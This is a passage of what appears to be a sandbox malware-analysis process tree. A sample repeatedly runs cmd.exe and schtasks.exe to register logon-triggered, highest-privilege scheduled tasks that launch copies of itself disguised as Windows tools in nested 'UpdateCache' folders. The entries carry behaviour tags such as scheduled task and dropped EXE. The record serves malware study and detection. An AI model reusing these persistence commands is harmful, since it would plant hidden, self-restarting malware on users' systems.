  "cmd.exe" /c schtasks /create /tn "WinTask_dtdump_2" /tr ""C:\Users\Admin\AppData\Local\Packages\Logs\UpdateCache\dtdump.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2684
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_dtdump_2" /tr ""C:\Users\Admin\AppData\Local\Packages\Logs\UpdateCache\dtdump.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4972
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_InputSwitchToastHandler_3" /tr ""C:\ProgramData\Microsoft OneDrive\Logs\UpdateCache\InputSwitchToastHandler.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4588
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_InputSwitchToastHandler_3" /tr ""C:\ProgramData\Microsoft OneDrive\Logs\UpdateCache\InputSwitchToastHandler.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4784
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_rrinstaller_4" /tr ""C:\Users\Admin\AppData\Local\Temp\{5E553EC5-A9D7-4632-9DA7-38A0D64FDF86}\Logs\UpdateCache\rrinstaller.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4760
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_rrinstaller_4" /tr ""C:\Users\Admin\AppData\Local\Temp\{5E553EC5-A9D7-4632-9DA7-38A0D64FDF86}\Logs\UpdateCache\rrinstaller.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4228
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_wscadminui_5" /tr ""C:\Users\Admin\AppData\Roaming\UninstallMeasure\Logs\UpdateCache\wscadminui.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:5092
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_wscadminui_5" /tr ""C:\Users\Admin\AppData\Roaming\UninstallMeasure\Logs\UpdateCache\wscadminui.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1356
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_fltMC_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\fltMC.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5772
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_fltMC_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\fltMC.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:108
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_VC_redist.x64_7" /tr ""C:\ProgramData\Package Cache\{57a73df6-4ba9-4c1d-bbbb-517289ff6c13}\UpdateCache\VC_redist.x64.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1864
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_VC_redist.x64_7" /tr ""C:\ProgramData\Package Cache\{57a73df6-4ba9-4c1d-bbbb-517289ff6c13}\UpdateCache\VC_redist.x64.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6052
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mcbuilder_8" /tr ""C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\UpdateCache\UpdateCache\mcbuilder.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4296
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mcbuilder_8" /tr ""C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\UpdateCache\UpdateCache\mcbuilder.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6040
- C:\Users\Admin\AppData\Roaming\PopConvert\Logs\UpdateCache\UpdateCache\gpupdate.exe
  "C:\Users\Admin\AppData\Roaming\PopConvert\Logs\UpdateCache\UpdateCache\gpupdate.exe" --watchdog-slave
  2⤵
  - Executes dropped EXE
  PID:3976
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_powercfg_1" /tr ""C:\Users\Admin\AppData\Roaming\ResolveUpdate\Logs\UpdateCache\powercfg.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Power Settings
  PID:3220
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_powercfg_1" /tr ""C:\Users\Admin\AppData\Roaming\ResolveUpdate\Logs\UpdateCache\powercfg.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4252
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RmClient_2" /tr ""C:\Users\Admin\AppData\Local\Mozilla\Logs\UpdateCache\RmClient.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4144
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RmClient_2" /tr ""C:\Users\Admin\AppData\Local\Mozilla\Logs\UpdateCache\RmClient.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:716
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_driverquery_3" /tr ""C:\ProgramData\MicrosoftService\driverquery.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1512
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_driverquery_3" /tr ""C:\ProgramData\MicrosoftService\driverquery.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5016
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_rrinstaller_4" /tr ""C:\Users\Admin\AppData\Local\Temp\{5E553EC5-A9D7-4632-9DA7-38A0D64FDF86}\Logs\UpdateCache\UpdateCache\rrinstaller.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:2000
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_rrinstaller_4" /tr ""C:\Users\Admin\AppData\Local\Temp\{5E553EC5-A9D7-4632-9DA7-38A0D64FDF86}\Logs\UpdateCache\UpdateCache\rrinstaller.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2056
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_runonce_5" /tr ""C:\Users\Admin\AppData\Roaming\RedoConvertTo\Logs\UpdateCache\UpdateCache\runonce.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:624
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_runonce_5" /tr ""C:\Users\Admin\AppData\Roaming\RedoConvertTo\Logs\UpdateCache\UpdateCache\runonce.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3804
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RdpSaProxy_6" /tr ""C:\Users\Admin\AppData\Local\Temp\acrocef_low\Logs\UpdateCache\RdpSaProxy.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:4196
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5380
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RdpSaProxy_6" /tr ""C:\Users\Admin\AppData\Local\Temp\acrocef_low\Logs\UpdateCache\RdpSaProxy.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4768
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_findstr_7" /tr ""C:\ProgramData\MicrosoftService\findstr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4992
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_findstr_7" /tr ""C:\ProgramData\MicrosoftService\findstr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5904
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_newdev_8" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\newdev.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3096
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_newdev_8" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\newdev.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3364
- C:\Users\Admin\AppData\Roaming\ResolveUpdate\Logs\UpdateCache\powercfg.exe
  "C:\Users\Admin\AppData\Roaming\ResolveUpdate\Logs\UpdateCache\powercfg.exe" --watchdog-slave
  2⤵
  - Executes dropped EXE
  - Power Settings
  PID:2828
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_TpmTool_1" /tr ""C:\Users\Admin\AppData\Roaming\ResizeSplit\Logs\UpdateCache\TpmTool.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5908
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1816
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_TpmTool_1" /tr ""C:\Users\Admin\AppData\Roaming\ResizeSplit\Logs\UpdateCache\TpmTool.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3404
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_winver_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\winver.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4872
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_winver_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\winver.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3296
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_fontview_3" /tr ""C:\ProgramData\ssh\Logs\UpdateCache\UpdateCache\fontview.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1520
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_fontview_3" /tr ""C:\ProgramData\ssh\Logs\UpdateCache\UpdateCache\fontview.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5728
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_DWWIN_4" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219\Logs\UpdateCache\DWWIN.EXE" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3196
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_DWWIN_4" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219\Logs\UpdateCache\DWWIN.EXE" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6100
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_Netplwiz_5" /tr ""C:\Users\Admin\AppData\Roaming\Sun\Logs\UpdateCache\UpdateCache\Netplwiz.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1696
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_Netplwiz_5" /tr ""C:\Users\Admin\AppData\Roaming\Sun\Logs\UpdateCache\UpdateCache\Netplwiz.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5396
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_MuiUnattend_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\MuiUnattend.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3692
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_MuiUnattend_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\MuiUnattend.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5168
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_rekeywiz_7" /tr ""C:\ProgramData\regid.1991-06.com.microsoft\Logs\rekeywiz.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3696
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_rekeywiz_7" /tr ""C:\ProgramData\regid.1991-06.com.microsoft\Logs\rekeywiz.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3456
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_rrinstaller_8" /tr ""C:\Users\Admin\AppData\Local\Temp\{5E553EC5-A9D7-4632-9DA7-38A0D64FDF86}\Logs\UpdateCache\UpdateCache\rrinstaller.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4256
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_rrinstaller_8" /tr ""C:\Users\Admin\AppData\Local\Temp\{5E553EC5-A9D7-4632-9DA7-38A0D64FDF86}\Logs\UpdateCache\UpdateCache\rrinstaller.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5792
- C:\Users\Admin\AppData\Roaming\ResizeSplit\Logs\UpdateCache\TpmTool.exe
  "C:\Users\Admin\AppData\Roaming\ResizeSplit\Logs\UpdateCache\TpmTool.exe" --watchdog-slave
  2⤵
  - Executes dropped EXE
  PID:2336
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_OutSave_1" /tr ""C:\Users\Admin\AppData\Roaming\UnpublishLock\UpdateCache\UpdateCache\OutSave.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1076
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_OutSave_1" /tr ""C:\Users\Admin\AppData\Roaming\UnpublishLock\UpdateCache\UpdateCache\OutSave.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1580
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RmClient_2" /tr ""C:\Users\Admin\AppData\Local\Mozilla\Logs\UpdateCache\UpdateCache\UpdateCache\RmClient.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5900
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RmClient_2" /tr ""C:\Users\Admin\AppData\Local\Mozilla\Logs\UpdateCache\UpdateCache\UpdateCache\RmClient.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1532
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_rekeywiz_3" /tr ""C:\ProgramData\regid.1991-06.com.microsoft\Logs\UpdateCache\rekeywiz.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6052
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_rekeywiz_3" /tr ""C:\ProgramData\regid.1991-06.com.microsoft\Logs\UpdateCache\rekeywiz.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4100
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_rrinstaller_4" /tr ""C:\Users\Admin\AppData\Local\Temp\{5E553EC5-A9D7-4632-9DA7-38A0D64FDF86}\Logs\UpdateCache\rrinstaller.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2324
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_rrinstaller_4" /tr ""C:\Users\Admin\AppData\Local\Temp\{5E553EC5-A9D7-4632-9DA7-38A0D64FDF86}\Logs\UpdateCache\rrinstaller.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1388
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_OutSave_5" /tr ""C:\Users\Admin\AppData\Roaming\UnpublishLock\UpdateCache\OutSave.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5560
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_OutSave_5" /tr ""C:\Users\Admin\AppData\Roaming\UnpublishLock\UpdateCache\OutSave.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4632
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_wecutil_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\UpdateCache\wecutil.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:108
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_wecutil_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\UpdateCache\wecutil.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4840
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ieUnatt_7" /tr ""C:\ProgramData\USOShared\Logs\UpdateCache\ieUnatt.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1356
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ieUnatt_7" /tr ""C:\ProgramData\USOShared\Logs\UpdateCache\ieUnatt.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3868
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RdpSaProxy_8" /tr ""C:\Users\Admin\AppData\Local\Temp\acrocef_low\Logs\UpdateCache\UpdateCache\UpdateCache\RdpSaProxy.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3216
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RdpSaProxy_8" /tr ""C:\Users\Admin\AppData\Local\Temp\acrocef_low\Logs\UpdateCache\UpdateCache\UpdateCache\RdpSaProxy.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1576
- C:\Users\Admin\AppData\Roaming\UnpublishLock\UpdateCache\UpdateCache\OutSave.exe
  "C:\Users\Admin\AppData\Roaming\UnpublishLock\UpdateCache\UpdateCache\OutSave.exe" --watchdog-slave
  2⤵
  - Executes dropped EXE
  PID:4784
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_wscadminui_1" /tr ""C:\Users\Admin\AppData\Roaming\UninstallMeasure\Logs\UpdateCache\UpdateCache\wscadminui.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4892
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_wscadminui_1" /tr ""C:\Users\Admin\AppData\Roaming\UninstallMeasure\Logs\UpdateCache\UpdateCache\wscadminui.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5748
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_wextract_2" /tr ""C:\Users\Admin\AppData\Local\Google\Logs\UpdateCache\wextract.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3364
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_wextract_2" /tr ""C:\Users\Admin\AppData\Local\Google\Logs\UpdateCache\wextract.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6036
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_tttracer_3" /tr ""C:\ProgramData\MicrosoftService\tttracer.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6132
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_tttracer_3" /tr ""C:\ProgramData\MicrosoftService\tttracer.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2544
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mcbuilder_4" /tr ""C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\UpdateCache\UpdateCache\mcbuilder.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4232
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mcbuilder_4" /tr ""C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\UpdateCache\UpdateCache\mcbuilder.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2148
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_recover_5" /tr ""C:\Users\Admin\AppData\Roaming\EditExport\Logs\UpdateCache\UpdateCache\recover.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2316
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5904
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_recover_5" /tr ""C:\Users\Admin\AppData\Roaming\EditExport\Logs\UpdateCache\UpdateCache\recover.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1188
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ROUTE_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\ROUTE.EXE" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:1092
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ROUTE_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\ROUTE.EXE" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2564
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SystemPropertiesDataExecutionPrevention_7" /tr ""C:\ProgramData\MicrosoftService\SystemPropertiesDataExecutionPrevention.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2056
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SystemPropertiesDataExecutionPrevention_7" /tr ""C:\ProgramData\MicrosoftService\SystemPropertiesDataExecutionPrevention.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1120
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_tar_8" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x64 Redistributable Setup_10.0.40219\Logs\UpdateCache\UpdateCache\tar.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:4484
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_tar_8" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x64 Redistributable Setup_10.0.40219\Logs\UpdateCache\UpdateCache\tar.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1084
- C:\Users\Admin\AppData\Roaming\UninstallMeasure\Logs\UpdateCache\UpdateCache\wscadminui.exe
  "C:\Users\Admin\AppData\Roaming\UninstallMeasure\Logs\UpdateCache\UpdateCache\wscadminui.exe" --watchdog-slave
  2⤵
  - Executes dropped EXE
  PID:3056
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_msra_1" /tr ""C:\Users\Admin\AppData\Roaming\Mozilla\Logs\msra.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6080
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_msra_1" /tr ""C:\Users\Admin\AppData\Roaming\Mozilla\Logs\msra.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3312
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_Dism_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\Dism.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3456
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_Dism_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\Dism.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2680
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_dccw_3" /tr ""C:\ProgramData\SoftwareDistribution\Logs\UpdateCache\dccw.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3296
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_dccw_3" /tr ""C:\ProgramData\SoftwareDistribution\Logs\UpdateCache\dccw.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:240
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_PATHPING_4" /tr ""C:\Users\Admin\AppData\Local\Temp\VBE\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\PATHPING.EXE" --task" /sc onlogon /rl highest /f
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:5980
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6024
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_PATHPING_4" /tr ""C:\Users\Admin\AppData\Local\Temp\VBE\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\PATHPING.EXE" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1200
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_fontview_5" /tr ""C:\Users\Admin\AppData\Roaming\MoveConvertTo\Logs\UpdateCache\UpdateCache\fontview.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4524
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_fontview_5" /tr ""C:\Users\Admin\AppData\Roaming\MoveConvertTo\Logs\UpdateCache\UpdateCache\fontview.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:800
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_dtdump_6" /tr ""C:\Users\Admin\AppData\Local\Packages\Logs\UpdateCache\UpdateCache\UpdateCache\dtdump.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:5500
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_dtdump_6" /tr ""C:\Users\Admin\AppData\Local\Packages\Logs\UpdateCache\UpdateCache\UpdateCache\dtdump.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3940
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mmgaserver_7" /tr ""C:\ProgramData\MicrosoftService\mmgaserver.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4804
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mmgaserver_7" /tr ""C:\ProgramData\MicrosoftService\mmgaserver.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3020
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_newdev_8" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\newdev.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1068
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_newdev_8" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\newdev.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2904
- C:\Users\Admin\AppData\Roaming\Mozilla\Logs\msra.exe
  "C:\Users\Admin\AppData\Roaming\Mozilla\Logs\msra.exe" --watchdog-slave
  2⤵
  - Executes dropped EXE
  PID:3100
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_tttracer_1" /tr ""C:\Users\Admin\AppData\Roaming\RegisterReceive\Logs\UpdateCache\tttracer.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1532
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_tttracer_1" /tr ""C:\Users\Admin\AppData\Roaming\RegisterReceive\Logs\UpdateCache\tttracer.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3152
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_tzutil_2" /tr ""C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\Logs\UpdateCache\tzutil.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4340
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_tzutil_2" /tr ""C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\Logs\UpdateCache\tzutil.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5668
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_unregmp2_3" /tr ""C:\Users\Admin\AppData\Local\Temp\WinLock.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3396
- - C:\Windows\SysWOW64\schtasks.exe
